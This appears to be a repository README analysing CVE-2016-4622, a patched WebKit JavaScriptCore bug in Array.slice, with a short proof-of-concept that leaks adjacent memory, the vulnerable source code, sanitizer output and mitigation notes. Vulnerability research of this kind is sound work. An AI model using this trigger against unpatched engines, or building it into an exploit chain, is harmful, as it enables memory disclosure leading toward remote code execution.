
My journey through WebKit CVE-2016-4622 Exploitation process
Comprehensive analysis and exploitation of the WebKit JavaScript Core vulnerability that enables memory disclosure through Array.slice manipulation
This repository contains a comprehensive analysis of CVE-2016-4622, a critical memory disclosure vulnerability in WebKit's JavaScript Core engine. The vulnerability stems from a race condition in the Array.slice() implementation that can be exploited to leak adjacent memory contents, serving as a foundation for more sophisticated exploitation primitives like addrof and fakeobj.
Impact: Memory disclosure leading to potential remote code execution
Affected Component: WebKit JavaScript Core (JSC)
Root Cause: Time-of-check-time-of-use (TOCTOU) vulnerability in fastSlice implementation
The vulnerability exists in WebKit's optimized "fast path" for the Array.slice() method. When processing slice parameters, the engine converts object arguments to primitive values by calling their valueOf() method. This conversion happens after determining the slice operation parameters but before the actual memory copy operation.
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);
What happens:
a is created with 100 elementsvalueOf() is calledvalueOf() shrinks the array to length 0memcpy attempts to copy 10 elements from an empty arrayWebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/ # Reference implementation by Saelo
├── Exploit/ # Custom exploitation attempts
│ ├── poc-memleak.js # Memory leak proof-of-concept
│ └── slice_over_array.js # Educational examples
├── WebKit-SRC-CVE-2016-4622/ # Vulnerable source code (commit 320b1fc)
├── WebKit-Bins/ # Compiled binaries for testing
│ ├── Debug/ # Debug build with symbols
│ └── ASAN/ # AddressSanitizer enabled build
└── Screenshoots/ # Visual documentation
Binaries: Pre-compiled JSC binaries built on VMWare OSX 10.11 with XCode 7.3.2 Architecture: x86_64 Mach-O executables Debug Features: Symbols + AddressSanitizer for comprehensive analysis
cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js
# Expected output showing memory leak:
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
The Array.slice(begin, end) method creates a shallow copy of a portion of an array. Under normal circumstances:
var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3); // Returns ['b', 'c']
Key insight: The end parameter undergoes type conversion via valueOf(), creating a window for exploitation.
When the vulnerability triggers, AddressSanitizer captures this call flow:
#0 memcpy-param-overlap detected
#1 JSC::JSArray::fastSlice()
#2 JSC::arrayProtoFuncSlice()
#3 JavaScript execution context

arrayProtoFuncSlice() - Entry PointLocation: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
unsigned length = getLength(exec, thisObj); // Initial length: 100
// Critical: Parameter conversion happens here
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
// Fast path determination
std::pair<SpeciesConstructResult, JSObject*> speciesResult =
speciesConstructArray(exec, thisObj, end - begin);
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
// Vulnerability triggers here
if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
// ... fallback implementation
}
argumentClampedIndexFromStartOrEnd() - The Conversion TriggerLocation: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236
static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
JSValue value = exec->argument(argument);
if (value.isUndefined())
return undefinedValue;
// CRITICAL: This is where valueOf() gets called
double indexDouble = value.toInteger(exec);
if (indexDouble < 0) {
indexDouble += length;
return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
}
return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}
The Race Condition:
{valueOf: function() { a.length = 0; return 10; }}value.toInteger(exec) calls our malicious valueOf()fastSlice() - Where Memory Corruption OccursLocation: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
auto arrayType = indexingType();
switch (arrayType) {
case ArrayWithDouble:
case ArrayWithInt32:
case ArrayWithContiguous: {
// ... setup code ...
auto& resultButterfly = *resultArray->butterfly();
if (arrayType == ArrayWithDouble)
// VULNERABILITY: Reads beyond array bounds
memcpy(resultButterfly.contiguousDouble().data(),
m_butterfly.get()->contiguousDouble().data() + startIndex,
sizeof(JSValue) * count);
// ...
}
}
The Memory Corruption:
startIndex = 0, count = 10valueOf())memcpy reads 10 JSValues starting from index 0Setup Phase
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
Trigger Phase
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
Exploitation Phase
valueOf()fastSlice attempts to copy 10 elements from empty arrayResult
0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
Before valueOf(): [0.123][1.123][2.123]...[99.123] (length=100)
After valueOf(): [] (length=0)
memcpy reads: [0.123][1.123][LEAKED][LEAKED][LEAKED]...
| Component | Issue | Impact |
|---|---|---|
| Parameter Processing | TOCTOU in argumentClampedIndexFromStartOrEnd | Allows state modification during processing |
| Fast Path Logic | Insufficient validation in fastSlice | Bypasses bounds checking |
| Memory Operations | Unchecked memcpy in array copy | Direct memory disclosure |
This vulnerability serves as a foundation for:
addrof/fakeobj primitivesMitigation Strategies:
memcpy operations320b1fc3f6fResearch Timeline: April 11-12, 2020
Status: Analysis Complete ✅
Next Steps: Development of full exploitation chain with addrof/fakeobj primitives